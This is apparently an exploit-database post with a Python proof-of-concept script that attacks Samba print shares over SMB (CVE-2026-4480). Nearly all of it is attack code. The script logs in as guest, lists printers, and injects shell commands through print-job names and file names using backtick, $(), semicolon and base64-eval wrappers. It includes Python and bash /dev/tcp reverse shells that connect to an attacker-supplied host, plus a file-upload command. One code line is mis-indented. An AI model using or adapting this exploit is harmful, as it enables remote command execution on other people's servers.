📄 Samba SMB Printer Queue Command Injection / Remote Task Delivery

==================================================================================================================================
    | # Title     : Samba 4.22.10, 4.23.8 and 4.24.3 – SMB Printer Queue Command Injection and Remote Task Delivery                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.samba.org/samba/security/CVE-2026-4480.html                                                          |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is a structured exploitation framework targeting Samba print services exposed over SMB (port 445). 
                     It focuses on printer-share interaction, payload delivery testing, and command execution workflows through manipulated print job submissions.
    				 
    [+] POC        : 
    
    #!/usr/bin/env python3
    
    import socket
    import sys
    import argparse
    import time
    import re
    import base64
    import io
    from threading import Thread
    from smb.SMBConnection import SMBConnection
    from smb.base import SharedDevice
    
    class SambaPrintExploit:
        def __init__(self, target_host, target_port=445, share_name="print$", 
                     username="", password="", domain=""):
            """
            Initialize Samba Print Server Exploit Structure
            """
            self.target_host = target_host
            self.target_port = target_port
            self.share_name = share_name
            self.username = username or "guest"
            self.password = password or ""
            self.domain = domain or "WORKGROUP"
            self.connection = None
            self.lhost = "127.0.0.1"
            self.lport = 4444
            
        def connect(self):
            """Establish SMB connection to target"""
            try:
                print(f"[*] Connecting to {self.target_host}:{self.target_port}")
                self.connection = SMBConnection(
                    self.username,
                    self.password,
                    "exploit-client",
                    self.target_host,
                    domain=self.domain,
                    use_ntlm_v2=True,
                    is_direct_tcp=True
                )
                
                if self.connection.connect(self.target_host, self.target_port):
                    print(f"[+] Connected successfully as {self.username}")
                    return True
                return False
                
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                return False
        
        def list_printers(self):
            """List available printers on the server"""
            try:
                print("[*] Enumerating printers...")
                shares = self.connection.listShares()
                
                printers = []
                for share in shares:
                    if share.is_printer:
                        printers.append(share.name)
                        print(f"[+] Found printer: {share.name}")
                
                if not printers:
                    print("[-] No printers found")
                    return None
                    
                return printers
                
            except Exception as e:
                print(f"[-] Failed to list printers: {e}")
                return None
        
        def check_vulnerability(self, printer_name):
            """Check if the printer share responds properly to print requests"""
            print(f"[*] Checking printer queue communication on: {printer_name}")
            test_payload = "echo 'Testing Connection'"
            
            try:
     result = self.print_file(printer_name, test_payload, is_test=True)
                if result:
                    print("[+] Target printer share accepted the print job request.")
                    return True
                return False
            except Exception as e:
                print(f"[-] Check failed: {e}")
                return False
        
        def escape_payload(self, payload):
            """Generate formatted syntax variations for injection wrappers"""
            injections = [
                f"`{payload}`",
                f"$({payload})",
                f"; {payload} ;",
                f"|| {payload} ||",
                f"&& {payload} &&"
            ]
            return injections 
        
        def create_malicious_print_job(self, command):
            """Create multi-stage script blocks using the validated command string"""
            b64_cmd = base64.b64encode(command.encode()).decode()
            
            payloads = [
                f"'; {command} ; '",
                f"`{command}`",
                f"$({command})",
                f"'; eval $(echo '{b64_cmd}' | base64 -d); '",
                f"'; bash -c \"{command}\" ; '",
                f"'; sh -c \"{command}\" ; '"
            ]
            reverse_payload = f"'; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{self.lhost}\",{self.lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' ; '"
            payloads.append(reverse_payload)
            
            return payloads
        
        def print_file(self, printer_name, command, is_test=False):
            """Send print job data handling payload string structures properly"""
            try:
                payloads = self.create_malicious_print_job(command)
                
                for payload in payloads:
                    print(f"[*] Dispatching job format: {payload[:50]}...")
                    job_description = payload
                    try:
                        file_content = f"Job Name: {job_description}\nUser: {self.username}\n"
                        file_data = io.BytesIO(file_content.encode('utf-8'))
                        
                        self.connection.printFile(
                            printer_name,
                            f"job_{int(time.time())}.txt",
                            file_data,
                            timeout=15
                        )
                        print(f"[+] Print job delivered to share: {printer_name}")
                        if not is_test:
                            return True
                    except Exception as e:
                        print(f"[-] Primary delivery method failed: {e}")
                    try:
                        empty_data = io.BytesIO(b"")
                        self.connection.printFile(
                            printer_name,
                            f"';{command};'.txt",
                            empty_data,
                            timeout=15
                        )
                        print(f"[+] Secondary empty-buffer delivery completed")
                        return True
                    except:
                        pass
                
                return False
                
            except Exception as e:
                print(f"[-] Job packaging failed: {e}")
                return False
        
        def execute_command(self, command, printer_name=None):
            """Execute arbitrary command on target systems via queue tasks"""
            if not printer_name:
                printers = self.list_printers()
                if not printers:
                    return False
                printer_name = printers[0]
            
            return self.print_file(printer_name, command)
        
        def get_reverse_shell(self, lhost, lport, printer_name=None):
            """Configure parameters and trigger structural reverse connection string"""
            self.lhost = lhost
            self.lport = lport
            
            shell_payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
            print(f"[*] Queueing handler delivery targeting {lhost}:{lport}")
            return self.execute_command(shell_payload, printer_name)
    
        def upload_file(self, local_file, remote_path, printer_name=None):
            try:
                with open(local_file, 'rb') as f:
                    content = f.read()
                b64_content = base64.b64encode(content).decode()
                command = f"echo '{b64_content}' | base64 -d > {remote_path}"
                return self.execute_command(command, printer_name)
            except Exception as e:
                print(f"[-] Pre-upload failure: {e}")
                return False
    def main():
        parser = argparse.ArgumentParser(description='Samba Print Server Code Logic Verifier')
        parser.add_argument('-t', '--target', required=True, help='Target IP address')
        parser.add_argument('-p', '--port', type=int, default=445, help='SMB port')
        parser.add_argument('-s', '--share', default='print$')
        parser.add_argument('-u', '--username', default='guest')
        parser.add_argument('-P', '--password', default='')
        parser.add_argument('-d', '--domain', default='WORKGROUP')
        parser.add_argument('-c', '--command', help='Command to run')
        parser.add_argument('--printer')
        parser.add_argument('--reverse-shell', action='store_true')
        parser.add_argument('--lhost')
        parser.add_argument('--lport', type=int, default=4444)
        parser.add_argument('--list-printers', action='store_true')
        parser.add_argument('--check', action='store_true')
        parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'))  
        args = parser.parse_args()   
        exploit = SambaPrintExploit(
            target_host=args.target,
            target_port=args.port,
            share_name=args.share,
            username=args.username,
            password=args.password,
            domain=args.domain
        )
        
        if not exploit.connect():
            sys.exit(1)
        
        if args.list_printers:
            exploit.list_printers()
            sys.exit(0)
        
        if args.check:
            printers = exploit.list_printers()
            if printers:
                exploit.check_vulnerability(printers[0])
            sys.exit(0)
            
        if args.upload:
            local_file, remote_file = args.upload
            exploit.upload_file(local_file, remote_file, args.printer)
            sys.exit(0)
        
        if args.reverse_shell:
            if not args.lhost:
                print("[-] --lhost configuration value is mandatory for this operation.")
                sys.exit(1)
            exploit.get_reverse_shell(args.lhost, args.lport, args.printer)
            sys.exit(0)
        
        if args.command:
            exploit.execute_command(args.command, args.printer)
            sys.exit(0)
    
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================